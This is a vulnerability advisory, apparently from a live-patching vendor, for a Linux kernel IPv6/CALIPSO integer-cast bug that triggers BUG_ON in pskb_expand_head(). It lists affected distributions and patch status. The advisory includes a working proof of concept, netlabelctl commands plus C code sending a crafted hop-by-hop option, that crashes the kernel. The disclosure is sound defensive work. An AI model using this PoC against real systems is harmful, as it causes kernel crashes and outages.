Overview
About vulnerability
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing “negative” headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.
PoC:
Using netlabelctl tool:
netlabelctl map del default netlabelctl calipso add pass doi:7 netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr int cmsg_size = 2; int cmsg_len = 0x60; struct msghdr msg; struct sockaddr_in6 dest_addr; struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1, sizeof(struct cmsghdr) + cmsg_len); msg.msg_name = &dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = NULL; msg.msg_iovlen = 0; msg.msg_control = cmsg; msg.msg_controllen = cmsg_len; msg.msg_flags = 0;
// setup sockaddr dest_addr.sin6_family = AF_INET6; dest_addr.sin6_port = htons(31337); dest_addr.sin6_flowinfo = htonl(31337); dest_addr.sin6_addr = in6addr_loopback; dest_addr.sin6_scope_id = 31337;
// setup cmsghdr cmsg->cmsg_len = cmsg_len; cmsg->cmsg_level = IPPROTO_IPV6; cmsg->cmsg_type = IPV6_HOPOPTS; char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr); hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
Details
- Affected product:
- AlmaLinux 9.2 ESU , Amazon Linux 2 ELS , CentOS 8.4 ELS , CentOS 8.5 ELS , CentOS Stream 8 ELS , Debian 10 ELS , Oracle Linux 7 ELS , TuxCare 9.6 ESU , Ubuntu 16.04 ELS , Ubuntu 18.04 ELS , Ubuntu 20.04 ELS
- Affected packages:
- kernel-uek @ 5.4.17 (+10 more)
Fixes
KernelCare state
Live-patch status from KernelCare for each operating system.
| Operating system | Status | Covered kernels |
|---|---|---|
| AlmaLinux 10 | Released |
27 kernels
|
| AlmaLinux 8 | Released |
95 kernels
|
| AlmaLinux 9 | Released |
91 kernels
|
| AlmaLinux 9.2 ESU | Released |
15 kernels
|
| AlmaLinux 9.6 ESU | Released |
2 kernels
|
| Amazon Linux 2023 | Planned | — |
| CentOS 8 | Released |
21 kernels
|
| CloudLinux OS 7h | Released |
93 kernels
|
| CloudLinux OS 8 | Released |
92 kernels
|
| Debian 11 | Released |
37 kernels
|
| Debian 11 cloud | Released |
17 kernels
|
| Debian 12 | Planned | — |
| Debian 13 | Planned | — |
| Oracle Linux 10 | Released |
28 kernels
|
| Oracle Linux 8 | Released |
108 kernels
|
| Oracle Linux 8 UEK 7 | Released |
85 kernels
|
| Oracle Linux 9 | Released |
99 kernels
|
| Oracle Linux 9 UEK 7 | Released |
85 kernels
|
| Proxmox VE 7 5.15 | Released |
47 kernels
|
| RHEL 10 | Released |
30 kernels
|
| RHEL 8 | Released |
103 kernels
|
| RHEL8 EUS 8.6 | Released |
61 kernels
|
| RHEL 9 | Released |
93 kernels
|
| Rocky Linux 10 | Released |
21 kernels
|
| Rocky Linux 8 | Released |
81 kernels
|
| Rocky Linux 9 | Released |
78 kernels
|
| Ubuntu 20.04 HWE AWS | Released |
57 kernels
|
| Ubuntu 20.04 HWE Azure | Released |
40 kernels
|
| Ubuntu 22.04 | Released |
90 kernels
|
| Ubuntu 22.04 AWS | Released |
81 kernels
|
| Ubuntu 22.04 Azure | Released |
73 kernels
|
| Ubuntu 24.04 | Released |
41 kernels
|
| Ubuntu 24.04 AWS | Planned | — |